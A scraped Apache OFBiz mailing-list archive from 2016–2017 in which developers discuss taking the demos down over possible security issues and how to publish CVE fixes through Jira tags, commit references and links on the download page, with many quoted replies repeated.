Demos shutdown because possible security issues
Hi, Due to possible security issues the demos have been shutdown. These possible security issues are due to the demos data. So custom projects should not have to worry. So far, only 2 post-auth vulnerabilities have been reported. I'll create Jiras for them. We need to discuss how to restart the demos. In the meantime we also need to fix the 2 post-auth vulnerabilities Jacques
Re: Security issues diffusion strategy
Le 18/09/2017 à 10:45, Jacques Le Roux a écrit : includes a link/s to the commit/s that fixed the issue on their security page. Done at r1810259 Jacques
Re: Security issues diffusion strategy
Hi Sharan, OK, no pb Jacques Le 18/09/2017 à 10:15, Sharan Foga a écrit : Hi Jacques I noted that you sent the original email on a Saturday and not everyone is available to respond over a weekend so would suggest that you wait at least another day for any feedback. Thanks Sharan On 18/09/17 09:59, Jacques Le Roux wrote: Actually, we follow https://www.apache.org/security/committers.html and are right to do. Since I got no answers I suppose it's a silent consensus and will do 2 Jacques Le 16/09/2017 à 11:50, Jacques Le Roux a écrit : Hi, Maybe you have heard about Equifax and Apache Struts recently. While following the story on the ASF members side I read some emails which made me think about our security issues diffusion strategy. There are 2 things projects like HTTPD and Tomcat do: 1. They amend the commits that fixed the issue by adding a the CVE reference in the comment 2. Tomcat also includes a link/s to the commit/s that fixed the issue on their security page. We already do 1 (at least I found some commits logs amended) but should we not also do 2 at https://ofbiz.apache.org/download.html ? Jacques
Re: Security issues diffusion strategy
Hi Jacques I noted that you sent the original email on a Saturday and not everyone is available to respond over a weekend so would suggest that you wait at least another day for any feedback. Thanks Sharan On 18/09/17 09:59, Jacques Le Roux wrote: Actually, we follow https://www.apache.org/security/committers.html and are right to do. Since I got no answers I suppose it's a silent consensus and will do 2 Jacques Le 16/09/2017 à 11:50, Jacques Le Roux a écrit : Hi, Maybe you have heard about Equifax and Apache Struts recently. While following the story on the ASF members side I read some emails which made me think about our security issues diffusion strategy. There are 2 things projects like HTTPD and Tomcat do: 1. They amend the commits that fixed the issue by adding a the CVE reference in the comment 2. Tomcat also includes a link/s to the commit/s that fixed the issue on their security page. We already do 1 (at least I found some commits logs amended) but should we not also do 2 at https://ofbiz.apache.org/download.html ? Jacques
Re: Security issues diffusion strategy
Actually, we follow https://www.apache.org/security/committers.html and are right to do. Since I got no answers I suppose it's a silent consensus and will do 2 Jacques Le 16/09/2017 à 11:50, Jacques Le Roux a écrit : Hi, Maybe you have heard about Equifax and Apache Struts recently. While following the story on the ASF members side I read some emails which made me think about our security issues diffusion strategy. There are 2 things projects like HTTPD and Tomcat do: 1. They amend the commits that fixed the issue by adding a the CVE reference in the comment 2. Tomcat also includes a link/s to the commit/s that fixed the issue on their security page. We already do 1 (at least I found some commits logs amended) but should we not also do 2 at https://ofbiz.apache.org/download.html ? Jacques
Security issues diffusion strategy
Hi, Maybe you have heard about Equifax and Apache Struts recently. While following the story on the ASF members side I read some emails which made me think about our security issues diffusion strategy. There are 2 things projects like HTTPD and Tomcat do: 1. They amend the commits that fixed the issue by adding a the CVE reference in the comment 2. Tomcat also includes a link/s to the commit/s that fixed the issue on their security page. We already do 1 (at least I found some commits logs amended) but should we not also do 2 at https://ofbiz.apache.org/download.html ? Jacques
Re: OFBiz security issues
Done, I added the CVE label to all concerned issues I found Jacques Le 30/11/2016 à 10:13, Jacques Le Roux a écrit : +1 for tags Tthere are only few OFBIZ-1525 subtasks which are related to a CVE. I can add the CVE tags in them and in future we can just create tasks with the CVE tag Agreed? Jacques Le 30/11/2016 à 00:02, Paul Foxworthy a écrit : Hi all, Using JIRA is a good idea, and we need to be able to find them. But a security issue is not a subtask and not a component. I think a tag will work fine. Thanks Paul On 30 November 2016 at 00:42, Jacopo Cappellato < jacopo.cappell...@hotwaxsystems.com> wrote: Tags or components are fine to me (you can specify more than one component to each ticket); I agree that a tag may be more appropriate for this use case. My preference is just to not use subtasks. Jacopo On Tue, Nov 29, 2016 at 2:13 PM, Pierre Smits wrote: Well... CVEs can occur on any component (even though past issues have been related for most to framework components. So having a particular component just for CVE reference purposes would complicate matters as much as converting JIRA issues into sub-tasks. Applying a tag to the issue (e.g. CVE) and using a persisted filter in JIRA would be sufficient to link to from the download page (and elsewhere e.g. the 'keeping OFBiz secure' cwiki page. Best regards, Pierre Smits ORRTIZ.COM <http://www.orrtiz.com> OFBiz based solutions & services OFBiz Extensions Marketplace http://oem.ofbizci.net/oci-2/ On Tue, Nov 29, 2016 at 2:04 PM, Jacopo Cappellato < jacopo.cappell...@hotwaxsystems.com> wrote: Rather than using subtasks I think it would be better to use a component (named CVE or similar). Il 29 Nov 2016 1:50 PM, "Jacques Le Roux" < jacques.le.r...@les7arts.com> ha scritto: Also it would be better if we can group all security issues in Jira. For that I created OFBIZ-1525, please if you create Jira security issues create (or convert) them as subtasks of OFBIZ-1525 Thanks Jacques Le 29/11/2016 à 11:05, Pierre Smits a écrit : Of course, I implied this policy to be in line with http://www.apache.org/security/ Best regards, Pierre Smits ORRTIZ.COM <http://www.orrtiz.com> OFBiz based solutions & services OFBiz Extensions Marketplace http://oem.ofbizci.net/oci-2/ On Tue, Nov 29, 2016 at 10:59 AM, Nicolas Malin < nicolas.ma...@nereide.fr wrote: Yes I agree with Jacopo, when can create the issue only when they are corrected Nicolas Le 29/11/2016 à 10:55, Jacopo Cappellato a écrit : We can definitely create one Jira ticket for each CVE number with all the details we want and link them from the "security" section of the OFBiz download page. This was probably implied in Pierre's proposal, but I prefer to explicitly state here: these tickets will be created only after the CVE are publicly disclosed (i.e. the tickets will be created and resolved at the same time). The good news is that we can create now all the tickets for the CVE processed so far in the history of OFBiz, in order to implement what Pierre has proposed here. Jacopo On Tue, Nov 29, 2016 at 10:47 AM, Pierre Smits < pierre.sm...@gmail.com> wrote: Hi all, Recently we have seen some security issues fixed in the code base (CVE-2016-6800 and CVE-2016-4462). Thanks to all who participated in identifying, analysing and fixing these OFBiz security threats. When I look at how we communicate to our adopters that there are threats and how they can be mitigated [1] I believe we could and we should do a little bit more. There we merely put a reference to the CVE [2] issue (see [3] for example) there and and advice to upgrade. But on that page we leave out any particulars on how the issue affected OFBiz and what was done to it. Rightly so as it is just a list of notifications. The details about the effect of the issue and the mitigation is in commits. But there is no apparent relation between the notification on [1] and the actual commit that mitigated. Also reporting the CVE in JIRA issues not optimal. This leads to the fact that details don't appear in release notes very well. I believe we could and should do better. We should *always* have a JIRA issue explaining the CVE issue and its effect on the OFBiz product, have it enhanced with the proper tags or labels (e.g. CVE/Security), and - like any other JIRA issue - have it showing with which commit(s) it has been resolved and on which branch it has been implemented. With a proper filter definition on JIRA we can then shorten the vulnerability section in [1] and have that link to that JIRA filter definition. What do you think? References: - [1] http://ofbiz.apache.org/download.html - [2] CVE: Common Vulnerability and Exposure - [3] http://cve.mitre.org/cgi-bin/ cvename.cgi?name=CVE-2016-6800 Best regards, Pierre Smits ORRTIZ.COM
Re: OFBiz security issues
+1 for tags Tthere are only few OFBIZ-1525 subtasks which are related to a CVE. I can add the CVE tags in them and in future we can just create tasks with the CVE tag Agreed? Jacques Le 30/11/2016 à 00:02, Paul Foxworthy a écrit : Hi all, Using JIRA is a good idea, and we need to be able to find them. But a security issue is not a subtask and not a component. I think a tag will work fine. Thanks Paul On 30 November 2016 at 00:42, Jacopo Cappellato < jacopo.cappell...@hotwaxsystems.com> wrote: Tags or components are fine to me (you can specify more than one component to each ticket); I agree that a tag may be more appropriate for this use case. My preference is just to not use subtasks. Jacopo On Tue, Nov 29, 2016 at 2:13 PM, Pierre Smits wrote: Well... CVEs can occur on any component (even though past issues have been related for most to framework components. So having a particular component just for CVE reference purposes would complicate matters as much as converting JIRA issues into sub-tasks. Applying a tag to the issue (e.g. CVE) and using a persisted filter in JIRA would be sufficient to link to from the download page (and elsewhere e.g. the 'keeping OFBiz secure' cwiki page. Best regards, Pierre Smits ORRTIZ.COM <http://www.orrtiz.com> OFBiz based solutions & services OFBiz Extensions Marketplace http://oem.ofbizci.net/oci-2/ On Tue, Nov 29, 2016 at 2:04 PM, Jacopo Cappellato < jacopo.cappell...@hotwaxsystems.com> wrote: Rather than using subtasks I think it would be better to use a component (named CVE or similar). Il 29 Nov 2016 1:50 PM, "Jacques Le Roux" < jacques.le.r...@les7arts.com> ha scritto: Also it would be better if we can group all security issues in Jira. For that I created OFBIZ-1525, please if you create Jira security issues create (or convert) them as subtasks of OFBIZ-1525 Thanks Jacques Le 29/11/2016 à 11:05, Pierre Smits a écrit : Of course, I implied this policy to be in line with http://www.apache.org/security/ Best regards, Pierre Smits ORRTIZ.COM <http://www.orrtiz.com> OFBiz based solutions & services OFBiz Extensions Marketplace http://oem.ofbizci.net/oci-2/ On Tue, Nov 29, 2016 at 10:59 AM, Nicolas Malin < nicolas.ma...@nereide.fr wrote: Yes I agree with Jacopo, when can create the issue only when they are corrected Nicolas Le 29/11/2016 à 10:55, Jacopo Cappellato a écrit : We can definitely create one Jira ticket for each CVE number with all the details we want and link them from the "security" section of the OFBiz download page. This was probably implied in Pierre's proposal, but I prefer to explicitly state here: these tickets will be created only after the CVE are publicly disclosed (i.e. the tickets will be created and resolved at the same time). The good news is that we can create now all the tickets for the CVE processed so far in the history of OFBiz, in order to implement what Pierre has proposed here. Jacopo On Tue, Nov 29, 2016 at 10:47 AM, Pierre Smits < pierre.sm...@gmail.com> wrote: Hi all, Recently we have seen some security issues fixed in the code base (CVE-2016-6800 and CVE-2016-4462). Thanks to all who participated in identifying, analysing and fixing these OFBiz security threats. When I look at how we communicate to our adopters that there are threats and how they can be mitigated [1] I believe we could and we should do a little bit more. There we merely put a reference to the CVE [2] issue (see [3] for example) there and and advice to upgrade. But on that page we leave out any particulars on how the issue affected OFBiz and what was done to it. Rightly so as it is just a list of notifications. The details about the effect of the issue and the mitigation is in commits. But there is no apparent relation between the notification on [1] and the actual commit that mitigated. Also reporting the CVE in JIRA issues not optimal. This leads to the fact that details don't appear in release notes very well. I believe we could and should do better. We should *always* have a JIRA issue explaining the CVE issue and its effect on the OFBiz product, have it enhanced with the proper tags or labels (e.g. CVE/Security), and - like any other JIRA issue - have it showing with which commit(s) it has been resolved and on which branch it has been implemented. With a proper filter definition on JIRA we can then shorten the vulnerability section in [1] and have that link to that JIRA filter definition. What do you think? References: - [1] http://ofbiz.apache.org/download.html - [2] CVE: Common Vulnerability and Exposure - [3] http://cve.mitre.org/cgi-bin/ cvename.cgi?name=CVE-2016-6800 Best regards, Pierre Smits ORRTIZ.COM <http://www.orrtiz.com> OFBiz based solutions & services OFBiz Extensions Marketplace http://oem.ofbizci.net/oci-2/
Re: OFBiz security issues
Hi all, Using JIRA is a good idea, and we need to be able to find them. But a security issue is not a subtask and not a component. I think a tag will work fine. Thanks Paul On 30 November 2016 at 00:42, Jacopo Cappellato < jacopo.cappell...@hotwaxsystems.com> wrote: > Tags or components are fine to me (you can specify more than one component > to each ticket); I agree that a tag may be more appropriate for this use > case. My preference is just to not use subtasks. > > Jacopo > > On Tue, Nov 29, 2016 at 2:13 PM, Pierre Smits > wrote: > > > Well... > > > > CVEs can occur on any component (even though past issues have been > related > > for most to framework components. So having a particular component just > for > > CVE reference purposes would complicate matters as much as converting > JIRA > > issues into sub-tasks. > > > > Applying a tag to the issue (e.g. CVE) and using a persisted filter in > JIRA > > would be sufficient to link to from the download page (and elsewhere e.g. > > the 'keeping OFBiz secure' cwiki page. > > > > Best regards, > > > > > > > > > > Pierre Smits > > > > ORRTIZ.COM <http://www.orrtiz.com> > > OFBiz based solutions & services > > > > OFBiz Extensions Marketplace > > http://oem.ofbizci.net/oci-2/ > > > > On Tue, Nov 29, 2016 at 2:04 PM, Jacopo Cappellato < > > jacopo.cappell...@hotwaxsystems.com> wrote: > > > > > Rather than using subtasks I think it would be better to use a > component > > > (named CVE or similar). > > > > > > Il 29 Nov 2016 1:50 PM, "Jacques Le Roux" < > jacques.le.r...@les7arts.com> > > > ha > > > scritto: > > > > > > > Also it would be better if we can group all security issues in Jira. > > For > > > > that I created OFBIZ-1525, please if you create Jira security issues > > > create > > > > (or convert) them as subtasks of OFBIZ-1525 > > > > > > > > Thanks > > > > > > > > Jacques > > > > > > > > > > > > Le 29/11/2016 à 11:05, Pierre Smits a écrit : > > > > > > > >> Of course, I implied this policy to be in line with > > > >> http://www.apache.org/security/ > > > >> > > > >> Best regards, > > > >> > > > >> Pierre Smits > > > >> > > > >> ORRTIZ.COM <http://www.orrtiz.com> > > > >> OFBiz based solutions & services > > > >> > > > >> OFBiz Extensions Marketplace > > > >> http://oem.ofbizci.net/oci-2/ > > > >> > > > >> On Tue, Nov 29, 2016 at 10:59 AM, Nicolas Malin < > > > nicolas.ma...@nereide.fr > > > >> > > > > >> wrote: > > > >> > > > >> Yes I agree with Jacopo, when can create the issue only when they > are > > > >>> corrected > > > >>> > > > >>> Nicolas > > > >>> > > > >>> > > > >>> > > > >>> Le 29/11/2016 à 10:55, Jacopo Cappellato a écrit : > > > >>> > > > >>> We can definitely create one Jira ticket for each CVE number with > all > > > the > > > >>>> details we want and link them from the "security" section of the > > OFBiz > > > >>>> download page. > > > >>>> This was probably implied in Pierre's proposal, but I prefer to > > > >>>> explicitly > > > >>>> state here: these tickets will be created only after the CVE are > > > >>>> publicly > > > >>>> disclosed (i.e. the tickets will be created and resolved at the > same > > > >>>> time). > > > >>>> The good news is that we can create now all the tickets for the > CVE > > > >>>> processed so far in the history of OFBiz, in order to implement > what > > > >>>> Pierre > > > >>>> has proposed here. > > > >>>> > > > >>>> Jacopo > > > >>>> > > > >>>> On Tue, Nov 29, 2016 at 10:47 AM, Pierre Smits < > > > pierre.sm...@gmail.com> > > > >>>> wrote: > > > >>>> > > > >>>> Hi all, > > > >>>> > > > >>>>&
Re: OFBiz security issues
Tags or components are fine to me (you can specify more than one component to each ticket); I agree that a tag may be more appropriate for this use case. My preference is just to not use subtasks. Jacopo On Tue, Nov 29, 2016 at 2:13 PM, Pierre Smits wrote: > Well... > > CVEs can occur on any component (even though past issues have been related > for most to framework components. So having a particular component just for > CVE reference purposes would complicate matters as much as converting JIRA > issues into sub-tasks. > > Applying a tag to the issue (e.g. CVE) and using a persisted filter in JIRA > would be sufficient to link to from the download page (and elsewhere e.g. > the 'keeping OFBiz secure' cwiki page. > > Best regards, > > > > > Pierre Smits > > ORRTIZ.COM <http://www.orrtiz.com> > OFBiz based solutions & services > > OFBiz Extensions Marketplace > http://oem.ofbizci.net/oci-2/ > > On Tue, Nov 29, 2016 at 2:04 PM, Jacopo Cappellato < > jacopo.cappell...@hotwaxsystems.com> wrote: > > > Rather than using subtasks I think it would be better to use a component > > (named CVE or similar). > > > > Il 29 Nov 2016 1:50 PM, "Jacques Le Roux" > > ha > > scritto: > > > > > Also it would be better if we can group all security issues in Jira. > For > > > that I created OFBIZ-1525, please if you create Jira security issues > > create > > > (or convert) them as subtasks of OFBIZ-1525 > > > > > > Thanks > > > > > > Jacques > > > > > > > > > Le 29/11/2016 à 11:05, Pierre Smits a écrit : > > > > > >> Of course, I implied this policy to be in line with > > >> http://www.apache.org/security/ > > >> > > >> Best regards, > > >> > > >> Pierre Smits > > >> > > >> ORRTIZ.COM <http://www.orrtiz.com> > > >> OFBiz based solutions & services > > >> > > >> OFBiz Extensions Marketplace > > >> http://oem.ofbizci.net/oci-2/ > > >> > > >> On Tue, Nov 29, 2016 at 10:59 AM, Nicolas Malin < > > nicolas.ma...@nereide.fr > > >> > > > >> wrote: > > >> > > >> Yes I agree with Jacopo, when can create the issue only when they are > > >>> corrected > > >>> > > >>> Nicolas > > >>> > > >>> > > >>> > > >>> Le 29/11/2016 à 10:55, Jacopo Cappellato a écrit : > > >>> > > >>> We can definitely create one Jira ticket for each CVE number with all > > the > > >>>> details we want and link them from the "security" section of the > OFBiz > > >>>> download page. > > >>>> This was probably implied in Pierre's proposal, but I prefer to > > >>>> explicitly > > >>>> state here: these tickets will be created only after the CVE are > > >>>> publicly > > >>>> disclosed (i.e. the tickets will be created and resolved at the same > > >>>> time). > > >>>> The good news is that we can create now all the tickets for the CVE > > >>>> processed so far in the history of OFBiz, in order to implement what > > >>>> Pierre > > >>>> has proposed here. > > >>>> > > >>>> Jacopo > > >>>> > > >>>> On Tue, Nov 29, 2016 at 10:47 AM, Pierre Smits < > > pierre.sm...@gmail.com> > > >>>> wrote: > > >>>> > > >>>> Hi all, > > >>>> > > >>>>> Recently we have seen some security issues fixed in the code base > > >>>>> (CVE-2016-6800 and CVE-2016-4462). Thanks to all who participated > in > > >>>>> identifying, analysing and fixing these OFBiz security threats. > > >>>>> > > >>>>> When I look at how we communicate to our adopters that there are > > >>>>> threats > > >>>>> and how they can be mitigated [1] I believe we could and we should > > do a > > >>>>> little bit more. There we merely put a reference to the CVE [2] > issue > > >>>>> (see > > >>>>> [3] for example) there and and advice to upgrade. But on that page > we > > >>>>> leave > > >>>>> out any particulars on how the issue affected OFBiz
Re: OFBiz security issues
Well... CVEs can occur on any component (even though past issues have been related for most to framework components. So having a particular component just for CVE reference purposes would complicate matters as much as converting JIRA issues into sub-tasks. Applying a tag to the issue (e.g. CVE) and using a persisted filter in JIRA would be sufficient to link to from the download page (and elsewhere e.g. the 'keeping OFBiz secure' cwiki page. Best regards, Pierre Smits ORRTIZ.COM <http://www.orrtiz.com> OFBiz based solutions & services OFBiz Extensions Marketplace http://oem.ofbizci.net/oci-2/ On Tue, Nov 29, 2016 at 2:04 PM, Jacopo Cappellato < jacopo.cappell...@hotwaxsystems.com> wrote: > Rather than using subtasks I think it would be better to use a component > (named CVE or similar). > > Il 29 Nov 2016 1:50 PM, "Jacques Le Roux" > ha > scritto: > > > Also it would be better if we can group all security issues in Jira. For > > that I created OFBIZ-1525, please if you create Jira security issues > create > > (or convert) them as subtasks of OFBIZ-1525 > > > > Thanks > > > > Jacques > > > > > > Le 29/11/2016 à 11:05, Pierre Smits a écrit : > > > >> Of course, I implied this policy to be in line with > >> http://www.apache.org/security/ > >> > >> Best regards, > >> > >> Pierre Smits > >> > >> ORRTIZ.COM <http://www.orrtiz.com> > >> OFBiz based solutions & services > >> > >> OFBiz Extensions Marketplace > >> http://oem.ofbizci.net/oci-2/ > >> > >> On Tue, Nov 29, 2016 at 10:59 AM, Nicolas Malin < > nicolas.ma...@nereide.fr > >> > > >> wrote: > >> > >> Yes I agree with Jacopo, when can create the issue only when they are > >>> corrected > >>> > >>> Nicolas > >>> > >>> > >>> > >>> Le 29/11/2016 à 10:55, Jacopo Cappellato a écrit : > >>> > >>> We can definitely create one Jira ticket for each CVE number with all > the > >>>> details we want and link them from the "security" section of the OFBiz > >>>> download page. > >>>> This was probably implied in Pierre's proposal, but I prefer to > >>>> explicitly > >>>> state here: these tickets will be created only after the CVE are > >>>> publicly > >>>> disclosed (i.e. the tickets will be created and resolved at the same > >>>> time). > >>>> The good news is that we can create now all the tickets for the CVE > >>>> processed so far in the history of OFBiz, in order to implement what > >>>> Pierre > >>>> has proposed here. > >>>> > >>>> Jacopo > >>>> > >>>> On Tue, Nov 29, 2016 at 10:47 AM, Pierre Smits < > pierre.sm...@gmail.com> > >>>> wrote: > >>>> > >>>> Hi all, > >>>> > >>>>> Recently we have seen some security issues fixed in the code base > >>>>> (CVE-2016-6800 and CVE-2016-4462). Thanks to all who participated in > >>>>> identifying, analysing and fixing these OFBiz security threats. > >>>>> > >>>>> When I look at how we communicate to our adopters that there are > >>>>> threats > >>>>> and how they can be mitigated [1] I believe we could and we should > do a > >>>>> little bit more. There we merely put a reference to the CVE [2] issue > >>>>> (see > >>>>> [3] for example) there and and advice to upgrade. But on that page we > >>>>> leave > >>>>> out any particulars on how the issue affected OFBiz and what was done > >>>>> to > >>>>> it. Rightly so as it is just a list of notifications. > >>>>> > >>>>> The details about the effect of the issue and the mitigation is in > >>>>> commits. > >>>>> But there is no apparent relation between the notification on [1] and > >>>>> the > >>>>> actual commit that mitigated. Also reporting the CVE in JIRA issues > not > >>>>> optimal. This leads to the fact that details don't appear in release > >>>>> notes > >>>>> very well. > >>>>> > >>>>> I believe we could and should do better. We should *always* have a > JIRA > >>>>> issue explaining the CVE issue and its effect on the OFBiz product, > >>>>> have > >>>>> it > >>>>> enhanced with the proper tags or labels (e.g. CVE/Security), and - > like > >>>>> any > >>>>> other JIRA issue - have it showing with which commit(s) it has been > >>>>> resolved and on which branch it has been implemented. > >>>>> > >>>>> With a proper filter definition on JIRA we can then shorten the > >>>>> vulnerability section in [1] and have that link to that JIRA filter > >>>>> definition. > >>>>> > >>>>> What do you think? > >>>>> > >>>>> References: > >>>>> > >>>>> - [1] http://ofbiz.apache.org/download.html > >>>>> - [2] CVE: Common Vulnerability and Exposure > >>>>> - [3] http://cve.mitre.org/cgi-bin/ > cvename.cgi?name=CVE-2016-6800 > >>>>> > >>>>> > >>>>> Best regards, > >>>>> > >>>>> Pierre Smits > >>>>> > >>>>> ORRTIZ.COM <http://www.orrtiz.com> > >>>>> OFBiz based solutions & services > >>>>> > >>>>> OFBiz Extensions Marketplace > >>>>> http://oem.ofbizci.net/oci-2/ > >>>>> > >>>>> > >>>>> > > >
Re: OFBiz security issues
Rather than using subtasks I think it would be better to use a component (named CVE or similar). Il 29 Nov 2016 1:50 PM, "Jacques Le Roux" ha scritto: > Also it would be better if we can group all security issues in Jira. For > that I created OFBIZ-1525, please if you create Jira security issues create > (or convert) them as subtasks of OFBIZ-1525 > > Thanks > > Jacques > > > Le 29/11/2016 à 11:05, Pierre Smits a écrit : > >> Of course, I implied this policy to be in line with >> http://www.apache.org/security/ >> >> Best regards, >> >> Pierre Smits >> >> ORRTIZ.COM <http://www.orrtiz.com> >> OFBiz based solutions & services >> >> OFBiz Extensions Marketplace >> http://oem.ofbizci.net/oci-2/ >> >> On Tue, Nov 29, 2016 at 10:59 AM, Nicolas Malin > > >> wrote: >> >> Yes I agree with Jacopo, when can create the issue only when they are >>> corrected >>> >>> Nicolas >>> >>> >>> >>> Le 29/11/2016 à 10:55, Jacopo Cappellato a écrit : >>> >>> We can definitely create one Jira ticket for each CVE number with all the >>>> details we want and link them from the "security" section of the OFBiz >>>> download page. >>>> This was probably implied in Pierre's proposal, but I prefer to >>>> explicitly >>>> state here: these tickets will be created only after the CVE are >>>> publicly >>>> disclosed (i.e. the tickets will be created and resolved at the same >>>> time). >>>> The good news is that we can create now all the tickets for the CVE >>>> processed so far in the history of OFBiz, in order to implement what >>>> Pierre >>>> has proposed here. >>>> >>>> Jacopo >>>> >>>> On Tue, Nov 29, 2016 at 10:47 AM, Pierre Smits >>>> wrote: >>>> >>>> Hi all, >>>> >>>>> Recently we have seen some security issues fixed in the code base >>>>> (CVE-2016-6800 and CVE-2016-4462). Thanks to all who participated in >>>>> identifying, analysing and fixing these OFBiz security threats. >>>>> >>>>> When I look at how we communicate to our adopters that there are >>>>> threats >>>>> and how they can be mitigated [1] I believe we could and we should do a >>>>> little bit more. There we merely put a reference to the CVE [2] issue >>>>> (see >>>>> [3] for example) there and and advice to upgrade. But on that page we >>>>> leave >>>>> out any particulars on how the issue affected OFBiz and what was done >>>>> to >>>>> it. Rightly so as it is just a list of notifications. >>>>> >>>>> The details about the effect of the issue and the mitigation is in >>>>> commits. >>>>> But there is no apparent relation between the notification on [1] and >>>>> the >>>>> actual commit that mitigated. Also reporting the CVE in JIRA issues not >>>>> optimal. This leads to the fact that details don't appear in release >>>>> notes >>>>> very well. >>>>> >>>>> I believe we could and should do better. We should *always* have a JIRA >>>>> issue explaining the CVE issue and its effect on the OFBiz product, >>>>> have >>>>> it >>>>> enhanced with the proper tags or labels (e.g. CVE/Security), and - like >>>>> any >>>>> other JIRA issue - have it showing with which commit(s) it has been >>>>> resolved and on which branch it has been implemented. >>>>> >>>>> With a proper filter definition on JIRA we can then shorten the >>>>> vulnerability section in [1] and have that link to that JIRA filter >>>>> definition. >>>>> >>>>> What do you think? >>>>> >>>>> References: >>>>> >>>>> - [1] http://ofbiz.apache.org/download.html >>>>> - [2] CVE: Common Vulnerability and Exposure >>>>> - [3] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6800 >>>>> >>>>> >>>>> Best regards, >>>>> >>>>> Pierre Smits >>>>> >>>>> ORRTIZ.COM <http://www.orrtiz.com> >>>>> OFBiz based solutions & services >>>>> >>>>> OFBiz Extensions Marketplace >>>>> http://oem.ofbizci.net/oci-2/ >>>>> >>>>> >>>>> >
Re: OFBiz security issues
Also it would be better if we can group all security issues in Jira. For that I created OFBIZ-1525, please if you create Jira security issues create (or convert) them as subtasks of OFBIZ-1525 Thanks Jacques Le 29/11/2016 à 11:05, Pierre Smits a écrit : Of course, I implied this policy to be in line with http://www.apache.org/security/ Best regards, Pierre Smits ORRTIZ.COM <http://www.orrtiz.com> OFBiz based solutions & services OFBiz Extensions Marketplace http://oem.ofbizci.net/oci-2/ On Tue, Nov 29, 2016 at 10:59 AM, Nicolas Malin wrote: Yes I agree with Jacopo, when can create the issue only when they are corrected Nicolas Le 29/11/2016 à 10:55, Jacopo Cappellato a écrit : We can definitely create one Jira ticket for each CVE number with all the details we want and link them from the "security" section of the OFBiz download page. This was probably implied in Pierre's proposal, but I prefer to explicitly state here: these tickets will be created only after the CVE are publicly disclosed (i.e. the tickets will be created and resolved at the same time). The good news is that we can create now all the tickets for the CVE processed so far in the history of OFBiz, in order to implement what Pierre has proposed here. Jacopo On Tue, Nov 29, 2016 at 10:47 AM, Pierre Smits wrote: Hi all, Recently we have seen some security issues fixed in the code base (CVE-2016-6800 and CVE-2016-4462). Thanks to all who participated in identifying, analysing and fixing these OFBiz security threats. When I look at how we communicate to our adopters that there are threats and how they can be mitigated [1] I believe we could and we should do a little bit more. There we merely put a reference to the CVE [2] issue (see [3] for example) there and and advice to upgrade. But on that page we leave out any particulars on how the issue affected OFBiz and what was done to it. Rightly so as it is just a list of notifications. The details about the effect of the issue and the mitigation is in commits. But there is no apparent relation between the notification on [1] and the actual commit that mitigated. Also reporting the CVE in JIRA issues not optimal. This leads to the fact that details don't appear in release notes very well. I believe we could and should do better. We should *always* have a JIRA issue explaining the CVE issue and its effect on the OFBiz product, have it enhanced with the proper tags or labels (e.g. CVE/Security), and - like any other JIRA issue - have it showing with which commit(s) it has been resolved and on which branch it has been implemented. With a proper filter definition on JIRA we can then shorten the vulnerability section in [1] and have that link to that JIRA filter definition. What do you think? References: - [1] http://ofbiz.apache.org/download.html - [2] CVE: Common Vulnerability and Exposure - [3] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6800 Best regards, Pierre Smits ORRTIZ.COM <http://www.orrtiz.com> OFBiz based solutions & services OFBiz Extensions Marketplace http://oem.ofbizci.net/oci-2/
Re: OFBiz security issues
Of course, I implied this policy to be in line with http://www.apache.org/security/ Best regards, Pierre Smits ORRTIZ.COM <http://www.orrtiz.com> OFBiz based solutions & services OFBiz Extensions Marketplace http://oem.ofbizci.net/oci-2/ On Tue, Nov 29, 2016 at 10:59 AM, Nicolas Malin wrote: > Yes I agree with Jacopo, when can create the issue only when they are > corrected > > Nicolas > > > > Le 29/11/2016 à 10:55, Jacopo Cappellato a écrit : > >> We can definitely create one Jira ticket for each CVE number with all the >> details we want and link them from the "security" section of the OFBiz >> download page. >> This was probably implied in Pierre's proposal, but I prefer to explicitly >> state here: these tickets will be created only after the CVE are publicly >> disclosed (i.e. the tickets will be created and resolved at the same >> time). >> The good news is that we can create now all the tickets for the CVE >> processed so far in the history of OFBiz, in order to implement what >> Pierre >> has proposed here. >> >> Jacopo >> >> On Tue, Nov 29, 2016 at 10:47 AM, Pierre Smits >> wrote: >> >> Hi all, >>> >>> Recently we have seen some security issues fixed in the code base >>> (CVE-2016-6800 and CVE-2016-4462). Thanks to all who participated in >>> identifying, analysing and fixing these OFBiz security threats. >>> >>> When I look at how we communicate to our adopters that there are threats >>> and how they can be mitigated [1] I believe we could and we should do a >>> little bit more. There we merely put a reference to the CVE [2] issue >>> (see >>> [3] for example) there and and advice to upgrade. But on that page we >>> leave >>> out any particulars on how the issue affected OFBiz and what was done to >>> it. Rightly so as it is just a list of notifications. >>> >>> The details about the effect of the issue and the mitigation is in >>> commits. >>> But there is no apparent relation between the notification on [1] and the >>> actual commit that mitigated. Also reporting the CVE in JIRA issues not >>> optimal. This leads to the fact that details don't appear in release >>> notes >>> very well. >>> >>> I believe we could and should do better. We should *always* have a JIRA >>> issue explaining the CVE issue and its effect on the OFBiz product, have >>> it >>> enhanced with the proper tags or labels (e.g. CVE/Security), and - like >>> any >>> other JIRA issue - have it showing with which commit(s) it has been >>> resolved and on which branch it has been implemented. >>> >>> With a proper filter definition on JIRA we can then shorten the >>> vulnerability section in [1] and have that link to that JIRA filter >>> definition. >>> >>> What do you think? >>> >>> References: >>> >>> - [1] http://ofbiz.apache.org/download.html >>> - [2] CVE: Common Vulnerability and Exposure >>> - [3] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6800 >>> >>> >>> Best regards, >>> >>> Pierre Smits >>> >>> ORRTIZ.COM <http://www.orrtiz.com> >>> OFBiz based solutions & services >>> >>> OFBiz Extensions Marketplace >>> http://oem.ofbizci.net/oci-2/ >>> >>> >
Re: OFBiz security issues
